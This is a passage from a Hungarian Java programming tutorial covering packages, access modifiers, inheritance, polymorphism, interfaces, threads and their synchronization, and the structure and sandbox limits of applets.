StringBuffer(len); for (i = len - 1; i >= 0; i--) dest.append(sourcecharAt(i)); return dest.toString(); } Pakkok Összetartozó osztályokat a pakk (package) segítségével a programozók egyetlen fordítási egységgé foghatnak össze. Ezzel osztály-könyvtárakat építhetünk, és nagy szerep jut a láthatóság szabályozásánál is. A pakkot, amennyiben használjuk egyáltalán, a forrás elsõ nem megjegyzés sorában kell megneveznünk, pl. package mmt.networkingsnmp A pakkoknak programozási konvenciók szerint általában több komponensû, ponttal elválasztott nevet file:///E|/docs/Untitled/javaprog.html (18 of 34)20040118 3:01:04 A Jáva programozási nyelv rejtelmei Forrás: http://www.doksihu adunk, a fordító a névnek megfelelõ könyvtár-hierarchiába helyezi el a lefordított osztályokat. Létezik egy név nélküli pakk arra az esetre, ha nem adtuk meg a package utasítást. Az így létrehozott pakkokból lehet a múltkor megismert import utasítással
egy vagy több osztályt átvenni, használni. A Jáva nyelvi környezet jelenleg a következõ pakkokat tartalmazza: java.applet Programkák környezete java.awt Ablakozó rendszer (Abstract Windowing Toolkit), grafikus és kezelõi felület elemek java.awtimage segéd osztályok az AWT-hez java.awtpeer java.io be- és kivitel java.lang nyelvi szinten definiált osztályok java.net hálózatkezelés java.util segéd osztályok Láthatóság A programozók megadhatják, hogy az általuk definiált egyes osztályok, illetve az osztályok változói, módszerei milyen körben használhatók. Erre a célra az ún hozzáférést specifikáló (access specifier) módosítók használatosak. Egyelõre - amíg az öröklõdésrõl nem beszéltünk - 3 ilyen specifikáló lehet: nyilvános (public), magán (private), baráti (friendly). Ez utóbbi az alapértelmezés, ha nem adjuk meg a hozzáférés módját, akkor ez mindig baráti. Osztályokra csak a nyilvános vagy a baráti
hozzáférés vonatkozhat: nyilvános osztályokat a programunkban bárhol használhatunk, bármelyik pakkunkba importálhatjuk. Baráti osztályokat csak az adott pakkon belül lehet használni. Egyed- illetve osztályváltozókra, módszerekre a nyilvános és baráti hozzáférés a fentivel azonos jelentésû, ezen túl a magán változók, módszerek csak az adott osztályon belül láthatók. Öröklõdés és következményei Az objektumorientáltság igazi csattanója az öröklõdés. Ez teszi lehetõvé, hogy a korábbi programozási módszereknél jóval könnyebben felhasználhassunk már megírt programrészeket, ezt gyakran szoftver ICknek reklámozzák. Bár egyelõre az objektumorientált paradigma nem váltotta be minden ígéretét, de tagadhatatlan, hogy nem csak divatos, de sikeres is. Osztályok leszármaztatása file:///E|/docs/Untitled/javaprog.html (19 of 34)20040118 3:01:04 A Jáva programozási nyelv rejtelmei Forrás: http://www.doksihu Ha egy új
osztályt már valamelyik meglévõ alapján akarjuk definiálni, azt az osztály fejében a következõ szerkezettel kell jelezni: class Child extends Parent { /* Child törzse / } Az így módon megadott, ún. leszármazott osztály (Child) örökli a szülõje (Parent) tulajdonságait, azaz a belsõ állapotát leíró adatszerkezetét és a viselkedést megvalósító módszereit. Természetesen az osztály törzsében ezt tovább bõvítheti, a viselkedését módosíthatja, ezt sugallja az extends (kiterjeszt) kifejezés a definíciónál. A Jáva a C++-szal ellentétben csak az ún. egyszeres öröklõdést engedélyezi, azaz minden osztálynak egyetlen közvetlen szülõje lehet. Tulajdonképpen nem csak lehet, de mindig van is szülõje, a nyelv ugyanis definiál egy beépített Object nevû osztályt, amennyiben az új osztály definíciójában máshogy nem rendelkezünk, automatikusan "extends Object" értendõ, azaz minden osztály közvetlenül vagy közvetve,
de örökli az Object-ben definiáltakat. Az így örökölt módszerek például az egyes objektumok másolásával (clone), összehasonlításával (equals), megnevezésével (toString), illetve osztálya megkülönböztetésével (getClass), vagy a többszálú futtatással (pl. wait, notify) kapcsolatosak Szükség esetén a meglévõ osztályainkból való leszármaztatást megtilthatjuk úgy, hogy azt "final class"ként definiáljuk. Ezt akkor alkalmazzuk, ha nem akarjuk, hogy egy mások által belõle leszármaztatott osztály nem kívánt módon módosítson az osztályunkban definiált viselkedést. Láthatóság Az absztrakt adattípusoknál megismert, hozzáférést szabályozó módosítók - public, private, és a ki soha nem írt friendly - a protected (védett) alapszóval bõvültek. A védettnek definiált változók és módszerek csak az osztályban, annak valamelyik leszármazottjában, vagy a pakk osztályaiban láthatók. Mi öröklõdik, és mi nem Az
öröklés során az új osztály örökli a szülõje összes egyedváltozóját. Ezek a vátozók még akkor is megvannak a leszármazott típusú objektumban, ha azok egy private deklaráció miatt közvetlenül nem láthatók. Hasonló a helyzet akkor, ha a leszármazott definiál egy, a szülõben már használt nevû változót, ilyenkor ez a változó eltakarja (shadowing) a szülõ változóját. Ilyen esetekben ugyan a szülõtõl örökölt változók a leszármazott osztály módszereiben közvetlenül nem láthatók, de szülõ nem magán módszerei segítségével továbbra is hozzáférhetõk. A szülõ módszerei is öröklõdnek, egy leszármazott osztályban használható a szülõ bármelyik nyilvános, védett vagy baráti módszere. Azonban a módszerek esetében nagyobb szabadságunk van: ha a leszármazottban a szülõben meglévõ módszerrel azonos lenyomatú módszert definiálunk, az elfedi a file:///E|/docs/Untitled/javaprog.html (20 of 34)20040118 3:01:04
A Jáva programozási nyelv rejtelmei Forrás: http://www.doksihu szülõbeli jelentést, így megváltoztatva egy a szülõben definiált viselkedést. A módszerek ilyen jelentésének megváltoztatását megakadályozhatjuk, ha azt a szülõben final-nak definiáljuk. Láttuk, hogy egy módszerben a saját egyedváltozókra a this referencia segítségével hivatkozhatunk, öröklõdés esetén a szülõbõl örökölt egyedváltozókra, módszerekre hivatkozásnál a super referenciát használhatjuk. Persze az új osztályban láthatók lehetnek a szülõ osztályváltozói és az ezeket kezelõ statikus módszerek is, ez azonban nem öröklés, hanem inkább kölcsönös használat, hiszen minden statikus változóból és módszerbõl továbbra is csak egy van. Nem öröklõdnek a konstruktorok, minden osztályhoz meg kell írni a saját konstruktorait. Ha nem írunk egyetlen konstruktort sem, a fordító csak az alap - paraméter nélküli - konstruktort hajlandó
automatikusan létrehozni. Az így létrejött alapkonstruktor miután a tárban a kazalon (heap) az egyed számára helyet foglalt, lehívja a szülõ alapkonstruktorát, a super()-t. Egy leszármazott-béli konstruktor a szülõ alapkonstruktorát automatikusan meghívja, hacsak a leszármazott konstruktorában valamely más paraméterezésû super(.) konstruktort a saját konstruktorának elsõ utasításaként meg nem hív Végezetül az öröklõdésben érdekes szerep jut az abstract módosítóval deklarált módszereknek, olyan módszereknek, amelyeknek egy osztály csak a fejét (lenyomatát) definiálja, de a törzse helyét kihagyja. Az ilyen absztrakt módszereket valamelyik leszármazott osztálynak kell majd definiálnia. Legalább egy absztrakt - saját maga által absztraktnak definiált, vagy így örökölt és nem konkretizált - módszerrel rendelkezõ osztályt absztrakt osztálynak nevezünk, ezt az osztály fejében a class elõtti abstract módosítóval kell,
hogy jelezzük. Az absztrakt osztályok sajátossága, hogy nem lehetnek egyedei, a fordító hibaüzenettel visszautasítja a new utasítást. Polimorfizmus A polimorfizmus többalakúságot, többarcúságot jelent. Az objektumorientált nyelveknél ez valami olyasmit jelent, hogy különbözõ típusú objektumoknak lehet azonos lenyomatú módszere és e módszerek közül az objektum aktuális típusának megfelelõ módszer kerül meghívásra. Ez persze csak akkor izgalmas, ha a program szövegébõl nem látszik konkrétan, hogy éppen milyen típusú elemmel van dolgunk. Ez egy szigorúan típusos nyelvnél, mint a Jáva, csak úgy lehet, ha bizonyos lazításokat vezetünk be, pl. megengedjük, hogy egy szülõ típusú referencia aktuálisan hivatkozhat valamelyik leszármazott típusra is. Definiáljuk például a jól ismert vicc nyomán a példabeli Person osztályunkban egy absztrakt SqueezeToothPaste nevû módszert a fogpaszta tubusból kinyomására. class Person {
. void SqueezeToothPaste(); } file:///E|/docs/Untitled/javaprog.html (21 of 34)20040118 3:01:04 A Jáva programozási nyelv rejtelmei Forrás: http://www.doksihu Származtassuk le a férfi és a nõ osztályokat a személybõl, ezekben már megadva konkrétan, hogyan is szokták a férfiak és a nõk a fogkrémes tubust megnyomni: class Man extends Person { void SqueezeToothPaste() { /* . tekerd az egyik végérõl kezdve . */ }; } class Woman extends Person { void SqueezeToothPaste() { /* . markold középen és nyomjad . */ }; } Ezek után képezhetünk egy tömböt, amely egyes elemei hol Man, hol Woman típusúak lehetnek Person[] p = new Person [20]; p[1] = new Man(); p[2] = new Woman(); . A programban elõforduló p[n].SqueezeToothPaste() módszerhívásról a fordítóprogram még nem tudja eldönteni, a hogy p adott indexû helyén épp férfival, avagy nõvel akadt dolga. Ez csak a konkrét futáskor derül ki, akkor kell majd kiválasztani a két SqueezeToothPaste()
közül az alkalmazandót. C++ programozók figyelem: ott ezt a mûködést virtuális függvényhívásnak hívják és minden esetben külön kell a programban deklarálni. A Jávában minden módszer virtuális! A példa azt is illusztrálja, hogy egy szülõ típusú referencia esetén használhatunk minden további nélkül gyerek típusra hivatkozást. Egyébként itt is ismert a típus átformálás (type casting) fogalma, de itt kötöttebb mint a C++-ban, mert az átformálás csak a referencia típusát érinti, magát az objektumot nem, nem lehet objektum referenciák típusát akármivé átalakítani, csak az öröklõdési láncban felfelé vagy lefelé. Interfészek A C++-hoz képest újítás a Jáva interfész (interface) fogalma, a nyelv tervezõi az Objective-C hatását emlegetik. Egy interfész nem más, mint módszerek lenyomatának gyûjteménye, mégpedig olyan módszereké, amelyek egy osztályban való egyidejû meglétét a programozó fontosnak tartja.
Maga az file:///E|/docs/Untitled/javaprog.html (22 of 34)20040118 3:01:04 A Jáva programozási nyelv rejtelmei Forrás: http://www.doksihu interfész a módszerek törzsét nem adja meg, de írhatunk olyan osztályokat, amelyek megvalósítják, implementálják az interfészt, azaz konkrétan definiálják az interfészben felsorolt valamennyi módszert. Ennek nagy haszna, hogy az öröklõdési hierarchiában nem rokon osztályok is viselkedhetnek hasonlóan, az objektumorientált terminológia szerint azonos protokoll - a módszergyûjtemény - segítségével kommunikálnak. Ha egy osztály megvalósít egy interfészt, azt a class A implements I { . } formában lehet kifejezni, de ennek az a következménye, hogy A-ban az összes I-beli módszert meg kell valósítani. A Jávában többszörös öröklés ugyan nincs, de egy osztály egyidejûleg több interfészt is megvalósíthat. Egyébként az interfészben deklarált minden módszer nyilvánosnak és absztraktnak
tekintendõ, de a módosítókat - sem ezeket, sem másokat - nem lehet kiírni. Szükség esetén egy interfész deklarálhat változókat is, ám ezek mind véglegesek, nyilvános és statikusak (final public static) és természetesen értéküket azonnal iniciálni kell. Szálak A régivágású programozók programjai egyidejûleg csak egyetlen tevékenységgel foglalkoznak, pl. egy grafikus alkalmazás esetén vagy a képernyõre rajzolnak, vagy az egér mozgására, billentyûjeinek lenyomására figyelnek. Ezért van az, hogy gyakran látni olyan programot, hol egy-egy bonyolultabb rajz közben az egér "megfagy", hiába lökdössük, a képernyõn nem mozdul tovább. Persze a fenti feladatot meg lehetne úgy is írni, hogy egy kicsit rajzolunk, majd egy kicsit az egérrel foglalkozunk, és így tovább, de ez elég macerás, különösen azért, mivel egy igazi programnál sok egyéb eseményre is figyelnünk kellene. Jó lenne, ha a programozási nyelvünk - és az
alatta rejtõzõ operációs rendszer - segítene bennünket, lehetõvé tenné, hogy a programunk egyidejüleg több tevékenységgel is foglalkozzon, és ezek összehangolásával lehetõleg ne kelljen sokat törõdni. Így merül fel a párhuzamos programrészletek használatának igénye. Jó elõre érdemes kiemelni, hogy még napjainkban is a legtöbb számítógép egyetlen processzort tartalmaz, ezért igazi párhuzamos, egyidejûleg mûködõ tevékenységrõl nem beszélhetünk. Talán kicsit jogosulatlanul használtam a "régivágású" jelzõt, sokan azért írnak egyetlen szálon futó programokat, mert nincs egyéb magasszintû eszköz a kezükben, igazán nagy feladatatokat pedig kinek van kedve gépi kódban megírni. A párhuzamosan futó tevékenységek elõször az operációs rendszereknél jelentkeztek, a file:///E|/docs/Untitled/javaprog.html (23 of 34)20040118 3:01:04 A Jáva programozási nyelv rejtelmei Forrás: http://www.doksihu
multiprogramozáshoz elengedhetetlen, hogy amíg egy program (folyamat, process) pl. valamilyen lassú perifériás átvitelre várakozik, a rendszer más programot is futtathasson legalább egy rövid ideig. Az operációs rendszerek ezt a lehetõséget megnyitották a rendszerközeli programozók számára is, például ilyen célokat szolgál a UNIX rendszerek fork() rendszerhívása. Ezt már lehet pl C nyelvû programokból használni, de lassan-lassan megjelentek magasabbszintû programozási nyelvek (Ada, Modula-2, .), amelyek nyelvi absztrakcióikban igyekeztek a párhuzamos programozás "piszkos" részleteit mind jobban elrejteni a programozók elõl. A szál (thread) viszonylag új fogalom, a szálak és a folyamatok közötti különbségek megértését segíti, ha megismerjük a szálakra használt másik elnevezést: pehelysúlyú folyamat (lightweight process). Míg egy fork-kal létrehozott tevékenység egészen önálló életet él, saját tárterülettel
rendelkezik, amelyre a rendszer féltékenyen vigyáz, addig a szálak közös tárterületet, állományokat és egyéb rendszererõforrásokat használnak, csak a vermük és a regisztereik a sajátjuk. A közös erõforrások tulajdonosa általában egy folyamat, a szálak ennek a környezetében (context) futnak. Ha vannak folyamataink, miért kellenek a szálak? Gyorsabban lehet közöttük váltogatni, a várakozó tevékenység gyorsabban felébredhet, reagálhat valamilyen eseményre. A közös memória megkönnyíti az tevékenységek közötti információcserét is. Persze az elõnyök mellett a szálakkal problémák is adódhatnak: közös lónak túros a háta, a közös tárban turkálásnál nagyon kell vigyázni arra, hogy mikor melyik szál következhet. Egy jól megtervezett nyelv, rendszer igyekszik kivédeni ezeket a hibákat, de a programozók zseniálisak, ha új programozási hibákat kell kitalálni, és sajnos a párhuzamos tevékenységekkel együtt
megjelentek a rettegett idõfüggõ, nem reprodukálható hibák. Újabban divattá váltak a szálak, lassan néhány operációs rendszer - pl. a Sun Solaris 2x rendszere, vagy a Windows NT - rendszerszinten is támogatja ezeket, de megjelentek olyan programcsomagok (pl. PThreads), amelyek segítségével a hagyományos UNIX rendszereken is használhattunk C nyelvi programokból szálakat. A Jáva nyelv túllép ezen, nyelvi szintre emeli a szálak fogalmát, használatuk támogatását. A szálaknál is, mint az egyéb párhuzamos tevékenységnél, a következõ alapvetõ problémák merülnek fel: a szálak létrehozása, futtatása; a szálak szinkronizációja, futásuk összehangolása; információcsere a szálak között; ütemezés, a központi egység használatának felosztása a szálak között. Szálak létrehozása A Jáva nyelvben a szálak számára a java.lang pakk tartalmaz egy külön osztályt, a Thread-et Minden párhuzamos tevékenység vagy egy Thread,
vagy ebbõl leszármazott osztály egy példánya. Szálakat tehát például úgy hozhatunk létre, hogy leszármaztatunk a Thread osztályból egy saját osztályt, amelybõl file:///E|/docs/Untitled/javaprog.html (24 of 34)20040118 3:01:04 A Jáva programozási nyelv rejtelmei Forrás: http://www.doksihu aztán létrehozunk egy vagy több példányt. Persze meg kell adnunk, hogy a szálunk milyen tevékenységet hajtson végre, ezt a Thread-bõl örökölt nyilvános run módszer felüldefiniálásával teheljük meg class MyThread extends Thread { public int ID; MyThread (int i) { ID = i; }; public void run () { /* a szál tevékenységének leírása / } } Ezek után a programunkban létrehozhatunk néhány saját szál objektumot: MyThread first = new MyThread(1); MyThread second = new MyThread(2); A fenti példa azt is illusztrálja, hogy a leszármazott osztály konstruktorát felhasználhatjuk arra, hogy az egyes szálaknak megszületésük elõtt egyedváltozókban olyan
objektumokat adjunk át, amelyeket az egyes szálak az éltük folyamán használhatnak. Az így létrehozott szálak még csak "megfogantak", de nem születtek meg, nem kezdték el a run módszer törzsét végrehajtani. Ehhez meg kell hívni a Thread osztályból örökölt start módszert: first.start(); secondstart(); A start módszer indítja majd el a run törzsét. Eztán már mindkét szál fut, versengve az egyetlen központi egységért. Hogy nagyobb legyen a tülekedés, a fenti kettõn túl van még néhány szál, amire talán nem gondoltunk: a fõprogram - a main statikus eljárás törzse - is egy szál, sõt a tárgazdálkodáshoz szükséges szemétgyûjtés is párhuzamos tevékenységként valósul meg. A Thread osztálynak van még néhány konstruktora, talán említést érdemelnek azok a konstruktorok, ahol egy String paraméterben nevet is adhatunk a szálunknak, amit pl. a nyomkövetésnél jól használhatunk. Ezt felhasználva írunk egy másik
konstruktort is: class MyThread extends Thread { . MyThread (int i, String name) { super(name) ; ID = i; }; . } file:///E|/docs/Untitled/javaprog.html (25 of 34)20040118 3:01:04 A Jáva programozási nyelv rejtelmei Forrás: http://www.doksihu MyThread first = new MyThread(1, "First"); A szálak létrehozásának a Thread-bõl leszármaztatáson túl van egy másik módja: a java.lang tartalmaz egy Runnable interfész is, amely egyetlen módszert, a run-t specifikálja. Ha a mi osztályunk implementálja a fenti interfészt, létrehozhatunk egy Thread típusú objektumot, a konstruktornak megadva az objektumunkat, amely a run-t megvalósítja. A fenti példa a rövidség kedvéért egyetlen szállal az interfészt használva így nézhet ki: class MyObj implements Runnable { public int ID; MyThread (int i) { ID = i; }; public void run () { /* a szál tevékenységének leírása / } }; MyObj firstObj = new MyObj(1); Thread first = new Thread(firstObj); first.start(); Egy
trükk: ha késõbb nem akarunk sem az objektumra, sem a szálra hivatkozni, azaz megelégszünk azzal, hogy az fut, az utolsó 3 sort össze is vonhatjuk: new Thread(new MyObj(1)).start(); Melyik létrehozási módszert érdemes használni? Gyakran nincs választási lehetõségünk, mivel a Jáva nem engedélyez többszörös leszármazást, ha az osztályunkat más osztályból akarjuk leszármaztatni pl. programkát írunk, akkor csak az interfészen keresztüli definíció használható. A Thread-bõl közvetlen leszármaztatást csak akkor érdemes használni, ha valamilyen okból a Thread-bõl örökölt néhány módszert - természetesen a run-on kívül - felül akarunk definiálni. Szálak futása A Jáva virtuális gép az egyes szálak végrehajtása során nyomonköveti azok állapotát. A következõ állapotátmeneti diagramm szemlélteti az egyes szálak viselkedését. [Szálak állapota] Az egyes szálak 5 különbözõ állapotban lehetnek: Új állapotúak az
éppen létrejött szálak (Thread konstruktora lefutott); file:///E|/docs/Untitled/javaprog.html (26 of 34)20040118 3:01:04 A Jáva programozási nyelv rejtelmei Forrás: http://www.doksihu Futásra készek azok a szálak, amelyek ugyan futhatnának, de egy másik szál használja a Jáva virtuális gépet; A futó szál utasításait hajtja végre a virtuális gép; A vár állapotú szálak valamilyen külsõ vagy belsõ esemény bekövetkezését várják; A halott állapotú folyamatok megálltak, futásuk befejezõdött. Az egyes állapotátmenetek magyarázata: 1. Lehívták a szál start() módszerét, a szál futása megkezdõdhet 2. A szál stop() módszerét meghívva a szál végrehajtása befejezõdik, bármelyik állapotban is legyen 3. A szál várakozni kényszerül, mert ❍ valaki a suspend() módszerrel a szál futását felfüggesztette, ❍ valaki - akár saját maga - a sleep(long millisec) módszerrel a megadott ideig várakoztatja, ❍ a wait()
módszerrel egy objektumhoz rendelt ún. feltételes változóra vár, ❍ egy objektumhoz rendelt monitorra vár, ❍ valamilyen I/O mûvelet lezajlására vár. 4. Bekövetkezett a várt esemény (a fenti sorrendben): ❍ valaki a resume() módszerrel a szál futását továbbengedte, ❍ letelt a sleep-ben megadott idõ, ❍ a várt feltételes változóra kiadtak egy notify() vagy notifyAll() hívást, ❍ a várt monitor felszabadult, ❍ a várt I/O mûvelet befejezõdött. 5. Az ütemezõ a futásra kész szálak közül kiválaszt egyet és folytatja annak futtatását 6. A szál a yield() hívással lemondhat a futás jogáról valamelyik futásra kész szál javára, illetve az ütemezõ is elveheti az éppen futó száltól a futás jogát. 7. A szál elérte run módszerének végét, futása befejezõdik Ütemezés Mint az állapotátmeneti diagramnál láttuk, a virtuális gépen megvalósított ütemezõ az 5-ös és 6os számmal jelölt állapotátmeneteknél kap
szerepet. A Jáva nyelv fix prioritású preempív ütemezést definiál, egyes architektúrákon ez idõosztásos is lehet. Nézzük ennek a magyarázatát: Minden szál rendelkezik egy, a "fontosságát" meghatározó int számmal, amelyet örököl az õt létrehozó száltól, de a setPriority(int newprio) hívással bármikor be is állíthatja a file:///E|/docs/Untitled/javaprog.html (27 of 34)20040118 3:01:04 A Jáva programozási nyelv rejtelmei Forrás: http://www.doksihu MIN PRIORITY és MAX PRIORITY közötti értékre. Azért hívják a rendszert mégis fix prioritásúnak, mivel maga a virtuális gép soha nem módosítja szálak prioritását. A futásra kész folyamatok közül a futó kiválasztása mindig szigorúan a prioritások alapján történik, a legnagyobb, illetve az azonos prioritással rendelkezõk közül a legrégebben várakozó indul tovább. Az ütemezés azért preemptív, mert amennyiben az éppen futónál nagyobb prioritású szál
válik futásra késszé, akkor a futó megszakad (6-os átmenet) és a legnagyobb prioritású indul tovább. (Megjegyzés: ez csak nagyobb prioritás esetén történik, azonosnál nem!) Még ilyen preemptív ütemezés esetén is elõfordulhat, hogy a legnagyobb prioritású szálak egyike kisajátítja a virtuális gépet, ha nem kényszerül várakozni (3-as átmenet) és a yield() hívással sem mond le a futás jogáról. Ezért használnak néhány rendszerben idõosztásos (time-slicing) ütemezést. Itt minden szál csak egy adott maximális ideig lehet futó állapotú, ha az idõszelete letelt, a virtuális gép megszakítja és beáll a futásra készek közé, a vele azonos prioritásúak mögé. Ez gyakran nagyon kényelmes, de figyelem - gondolom az egyes architektúrákon elõbukkanó implementációs problémák elkerülése végett -, a nyelv nem követeli meg, hogy az ütemezés idõosztásos legyen! Ha valaki erre számít, elõfordulhat, hogy a programja néhány
architektúrán nem helyesen fut. (Ennyit a híres architektúrafüggetlenségrõl! Nekem ez nagyon nem tetszik, de mit tehetnék, legfeljebb az vigasztal, hogy véleményemmel nem állok egyedül.) Egyes szálakat a programozó a setDaemon() hívással "démonizálhat". A démonok olyan párhuzamos tevékenységek, amelyek más szálaknak nyújtanak szolgálatokat, általában végtelen ciklusban futnak, gyakran arra várva, hogy más szálak kommunikáljanak velük. A Jáva program addig fut, azaz a virtuális gép addig mûködik, amíg van a rendszerben legalább egy nem démon szál. Szinkronizáció és kommunikáció Az eddig megismert módszerekkel létrehozhatunk párhuzamosan futó szálakat, de ezek csak akkor igazán hasznosak, ha összehangoltan tevékenykednek valamilyen közös cél érdekében. Ehhez szükséges a szálak közötti szinkronizáció és kommunikáció. Ezek közül a szinkronizáció a komolyabb feladat, a kommunikációt - ha a
szinkronizáció helyesen mûködik - a szálak már megoldhatják közösen használható objektumokhoz való hozzáféréssel. Mivel a szálak közös erõforrásokon - pl. a táron - osztoznak, a legfontosabb szinkronizációs probléma az ún. kölcsönös kizárás (mutual exclusion) megvalósítása, azaz annak biztosítása, hogy bizonyos erõforrásokat egyidejûleg csak egyetlen szál használhasson, másik szál pedig csak akkor férhessen hozzá, ha az elõzõ már konzisztens, biztonságos állapotban hagyta. A kölcsönös kizárás megvalósítására a Jáva a Hoare-féle monitor koncepciót követi. Minden objektum rendelkezik egy zárral (lock, monitor) és a programozó elõírhatja, hogy bizonyos módszerek végrehajtása csak akkor kezdõdhet meg, ha az objektum szabad. Ez a módszer fejében file:///E|/docs/Untitled/javaprog.html (28 of 34)20040118 3:01:04 A Jáva programozási nyelv rejtelmei Forrás: http://www.doksihu használt synchronized módosítóval
történik. Az ilyen módon definiált módszer meghívása elõtt a hívó szál megpróbálja az objektumhoz - statikus módszer esetén az osztályhoz - tartozó zárat lefoglalni. Amennyiben senki nem birtokolja a zárat, akkor elkezdi a módszer végrehajtását, természetesen ezzel kizárva az összes többi versengõ szálat. Amennyiben viszont foglaltnak találja a monitort, akkor várakozni kezd. Kivételt képez az az eset, ha a monitort ugyanez a szál tartja lefoglalva, ilyenkor a futás továbbhaladhat, a Jáva monitorja újrabeléphetõ (reentrant). Miután a módszer lefutott, kilépéskor a szál felszabadítja a zárat, szükség esetén továbbindítva futásra késszé téve - egyet a zárra várakozók közül. A programozónak külön meg kell mondania, hogy melyek azok a módszerek vagy kódrészletek, amelyek végrehajtásához kizárólagosságot kell biztosítani. (Megjegyzés: a nyelv a "szinkronizáció" fogalmát sajnos az irodalomban
elterjedtnél szûkebben, a kölcsönös kizárás szinonimájaként használja. Ezentúl, bár nem tetszik, de én is követem ezt a terminológiát.) A szinkronizált módszerhívás alternatívájaként használhatunk szinkronizált kódrészletet is, ahol a synchronized (obj) { /* szinkronizálandó . */ } kódrészletet a paramétereként megadott objektum - és nem a this, mint fentebb - zárja védi. A monitor koncepcióban megvalósuló automatikus, a programozó elõl rejtett implementációjú kölcsönös kizárás sajnos az együttmûködõ szálaknak általában nem elég, kell olyan eszköz is, amelyikkel egy szál bevárhatja, amíg egy másik elér tevékenységének adott pontjára. Erre szolgál a monitor koncepciót kiegészítõ, a Hoare-féle feltételes változó (conditional variable). Minden Jáva objektumhoz tartozik egy ilyen feltételes változó is, amire várakozni lehet (wait()), illetve egyetlen (notify()) vagy az összes (notifyAll()) várakozót tovább
lehet indítani. Mind a wait-et, mind a notify-t csak szinkronizált módszerekben lehet hívni. Wait esetén az azt kiadó szál várakozni kezd a szinkronizált objektum feltételes változójára, és ezzel együtt ideiglenesen - felszabadítja a monitort, hogy másik módszer is futhasson. Egy szinkronizált módszerben kiadott notify kiválaszt az adott objektumra várakozó szálak közül egyet, és azt futásra késszé teszi. Mikor a monitor legközelebb felszabadul, a továbbindított szál újra megszerzi, azaz lefoglalja a monitort, és folytatja a futását. A wait módszerben várakozó szálat csak egy notify vagy notifyAll mozdíthatja ki, de létezik a wait-nek egy paraméteres, idõzített változata is, ahol a szál legfeljebb a paraméterben millisecundum mértékegységben megadott idõtartamon keresztül várakozik. Ilyen wait-bõl felébredve a szálnak meg kell gyõzõdnie arról, hogy vajon egy notify avagy az idõ lejárta miatt ébredt-e fel. Programkák
file:///E|/docs/Untitled/javaprog.html (29 of 34)20040118 3:01:04 A Jáva programozási nyelv rejtelmei Forrás: http://www.doksihu A Jáva programozási nyelv legnagyobb újítása, rohamos terjedésének oka, hogy kitalálták a programkákat (applet), olyan Jáva programokat, amelyeket a Web-en böngészve egy Web oldallal együtt letöltünk a saját számítógépünkre, majd az itt nálunk futni kezd. Egy ilyen program életet lehelhet a statikus Web oldalakba, a szerver közremûködése és a hálózat a terhelése nélkül például animációt jeleníthet meg, illetve gyakran egy kliens-szerver programrendszer klienseként a szerver felé tartó adatok elõfeldolgozását, a válaszok intelligens megjelenítését végezheti. Programkákat alkalmazva lehetõség nyílik a Web böngészõk szolgáltatásainak, képességeinek akár dinamikus, igényeknek megfelelõ bõvítésére is. Különbségek a programkák és a programok között A Jáva programok önállóan
futnak, közvetlenül az operációs rendszer és az erre épülõ Jáva virtuális gép felügyelete alatt. A programkák hálózaton keresztüli betöltését és futtatását viszont egy Web böngészõ program végzi, a programkák futási környezete maga a böngészõ. (A Jáva fejlesztõi rendszerek tartalmaznak ugyan a programkák kipróbálására segédprogramokat, mint pl. a SUN appletviewer-e, ám ezek egy böngészõnek pontosan megfelelõ környezetet biztosítanak.) A programkák sokat profitálnak ebbõl az albérletbõl, használhatják a böngészõben meglévõ teljes program-infrastruktúrát: a Web oldalból kihasíthatnak maguknak területeket, ahova rajzolhatnak, felhasználhatják a böngészõ grafikus-, multimédia és pl. HTML megjelenítési szolgáltatásait, kezelõi felület elemeit, eseménykezelését, hálózati kommunikációját. Igaz, hogy lehet olyan önálló Jáva alkalmazást írni, amely egy programkának megfelelõen viselkedik, ám egy ilyen
környezet felállítása viszonylag nagy munkát igényel, a programkák viszont mindent készen kapnak. Azonban, akárcsak egy valódi albérletben, a programkák itt is korlátokba ütközhetnek. A távoli számítógéprõl óvatlanul gyakran a hálón barangoló tudta nélkül letöltött és a helyi számítógépen futni kezdõ programok sokakban jogosan a vírusok rémképét idézik. Ezért a böngészõ szigorúan korlátozza a felügyelete alatt futó programkákat, megakadályozza, hogy potenciálisan veszélyes tevékenységet hajtsanak végre. Így például a Jáva nyelvbe már amúgyis beépített biztonsági rendszeren, konzisztencia ellenõrzésen túl a programkák: ❍ ❍ ❍ nem, vagy csak nagyon szigorúan korlátozva férhetnek hozzá a helyi állományrendszerhez; csak azzal a szerverrel, az ott futó programokkal vehetik fel a kapcsolatot, ahonnan letöltõdtek; nem indíthatnak el a helyi gépen lévõ programokat, nem tölthetnek be helyi
programkönyvtárakat. Sokak szerint a fenti megkötések túlságosan szigorúak, de amíg a Jáva rendszerbe nem kerülnek be a programkák módosíthatatlanságát, megbízható azonosítását lehetõvé tevõ titkosítási file:///E|/docs/Untitled/javaprog.html (30 of 34)20040118 3:01:04 A Jáva programozási nyelv rejtelmei Forrás: http://www.doksihu algoritmusok - dolgoznak rajtuk -, addig nincs mit tenni, mint szigorúan kulcsra zárni az összes olyan kiskaput, ahol rosszindulatú programkák beszivárogva belerondíthatnak a számítógépünkbe. A programkák szerkezete Programkák írásához a Jáva nyelv külön pakkot (java.applet) és külön osztályt (Applet) tartalmaz, saját programkánkat ebbõl kell - mégpedig nyilvánosan - leszármaztatnunk. Teljesség igénye nélkül ismertetek néhány fontosabb, felüldefiniálható módszert. A futás vezérlése Míg a Jáva programok betöltése után a main statikus módszer indul el, addig a programkák
esetében a böngészõ biztosítja azt, hogy megfelelõ események bekövetkeztekor meghívja a leszármazott osztály az Applet-ben meglévõt felüldefiniáló módszereit. Persze nem kell minden itt ismertetett módszert feltétlenül felüldefiniálni ezek az Applet osztályban nem absztrakt, hanem létezõ, de üres törzsû módszerek. Az egyszerû példaprogramunknak sem lesz mindegyikre szüksége. A programka futásának vezérlésére az init, start, stop és destroy módszerek szolgálnak, valamennyien paraméter nélküliek. Az init törzse a programka letöltésekor fut le, itt végezhetõk el a kezdeti beállítások. Rögtön az init után a start is lefut, de a start módszert akkor is meghívja a böngészõ, ha újra akarja indítani a programkát. A stop módszer a programka futásának leállítására szolgál. Tipikus, hogy egy HTML oldalt letöltve betöltõdnek az ott lévõ programkák is, majd lehívódik ezek init és start módszere. Ha ezután böngészés
